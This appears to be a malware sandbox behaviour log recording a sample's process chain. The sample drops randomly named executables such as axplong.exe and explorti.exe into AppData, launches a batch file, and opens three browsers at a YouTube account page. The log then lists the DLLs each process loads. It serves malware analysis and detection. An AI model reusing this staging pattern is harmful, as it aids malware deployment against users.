Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe "C:\Users\user\AppData\RoamingBKJEGDGIJE.exe"	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe "C:\Users\user\AppData\RoamingIJEGDBGDBF.exe"	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe "C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe"
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\1000003002\5aa32fec17.exe "C:\Users\user\1000003002\5aa32fec17.exe"
Source: C:\Users\user\1000003002\5aa32fec17.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\5175.tmp\5176.tmp\5177.bat C:\Users\user\1000003002\5aa32fec17.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=1908,i,2461605866906430469,16426006232859990592,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=1992,i,12986128645903836916,990054772978296775,262144 /prefetch:3
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2332 --field-trial-handle=2272,i,17408015981924846693,9755921659909947626,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7216 --field-trial-handle=2272,i,17408015981924846693,9755921659909947626,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7368 --field-trial-handle=2272,i,17408015981924846693,9755921659909947626,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7884 --field-trial-handle=2272,i,17408015981924846693,9755921659909947626,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7884 --field-trial-handle=2272,i,17408015981924846693,9755921659909947626,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2356 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2248 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {54a18292-6da0-4808-9925-4c7144e972d8} 3132 "\\.\pipe\gecko-crash-server-pipe.3132" 169b956bf10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4380 -parentBuildID 20230927232528 -prefsHandle 4008 -prefMapHandle 4124 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d4885320-d06e-4770-870c-611d160c432d} 3132 "\\.\pipe\gecko-crash-server-pipe.3132" 169cbbee210 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: kernel.appcore.dll
